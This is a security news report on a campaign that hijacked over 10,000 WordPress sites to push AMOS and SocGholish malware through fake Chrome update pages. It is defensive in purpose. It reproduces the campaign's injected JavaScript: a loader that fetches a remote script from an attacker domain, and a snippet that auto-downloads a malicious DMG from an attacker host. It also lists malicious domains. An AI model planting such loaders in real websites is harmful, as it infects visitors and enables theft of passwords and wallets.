10,000 WordPress Websites Hacked to Distributing MacOS and Microsoft Malware

Over 10,000 WordPress websites have been hijacked to deliver malicious software targeting both macOS and Windows users.

Researchers revealed this week how attackers leveraged vulnerabilities in outdated WordPress software and plugins to distribute malware via fake browser update pages presented through an iframe.

The malicious campaign delivers two distinct strains of malware:

• AMOS (Atomic macOS Stealer): Targeting macOS users, this malware steals sensitive information such as passwords, browser data, and cryptocurrency wallets.
• SocGholish: A known malware strain targeting Windows users, often disguised as fake browser updates to trick victims into installing it.

What makes this campaign particularly significant is that it represents the first known instance of these malware variants being delivered via a client-side attack.

Typically distributed by different groups, their presence together on compromised websites raises questions about collaboration or a single sophisticated threat actor.

How the Attack Works

The attackers embedded malicious JavaScript into compromised WordPress websites. The highly obfuscated script generates a fake Google Chrome update page within an iframe, tricking victims into downloading the malware.

Key Observations

• Vulnerabilities in outdated WordPress versions (e.g., version 6.7.1) and plugins were exploited to inject malicious code.
• The JavaScript used in the attack dynamically loads external malicious scripts while bypassing cache mechanisms:

(function(o, q, f, e, w, j) {

    w = q.createElement(f);

    j = q.getElementsByTagName(f)[0];

    w.async = 1;

    w.src = e;

    j.parentNode.insertBefore(w, j);

})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

The script halts browser activity, removes attributes from key HTML elements, and injects an iframe to display the fake update page.

Domains and Distribution

Researchers identified several malicious domains linked to the campaign, with blackshelter[.]org and blacksaltys[.]com among the most significant.

Sample Malicious Elements on Compromised Sites:

• Script tags loading malicious JavaScript from external domains:

<script type="rocketlazyloadscript" src="https://blacksaltys[.]com/..."></script>

• Prefetch DNS elements to enhance performance for malicious domains:

<link rel='dns-prefetch' href='//blacksaltys[.]com'>

macOS and Windows Malware Analysis

Researchers uncovered a script that dynamically generates and downloads the AMOS malware for macOS users:

<script>

(async () => {

    var btn = document.createElement("a");

    btn.href = `hxxps://extendedstaybrunswick[.]com/.../resty.php?eg=${Math.floor(Date.now() / 1000)}`;

    btn.download = "C_6.12.4.dmg";

    document.body.appendChild(btn);

    window.addEventListener("message", function (event) {

        if (event.data == "download") {

            setTimeout(() => btn.click(), 100);

        }

    });

})();

</script>

For Windows users, the SocGholish malware was delivered using similar mechanisms, disguised as a legitimate software update.

Analysis and Impact

The compromised websites were found to load malicious scripts hosted on domains including:

• blacksaltys[.]com
• objmapper[.]com
• rednosehorse[.]com

A script hosted on deski.fastcloudcdn[.]com, flagged by researchers on CSide, showcased only a 17/96 detection rate on VirusTotal, indicating its sophistication and evasion techniques.

Both AMOS and SocGholish are commercially available malware and are known to be sold on underground platforms like Telegram.

The campaign’s ability to target both macOS and Windows users demonstrates the attackers’ evolving tactics and highlights the risks posed by outdated software.

Website administrators are urged to update WordPress installations and plugins immediately and deploy client-side monitoring tools to identify malicious scripts.

Affected users should run comprehensive malware scans and remain cautious of fake browser update prompts.

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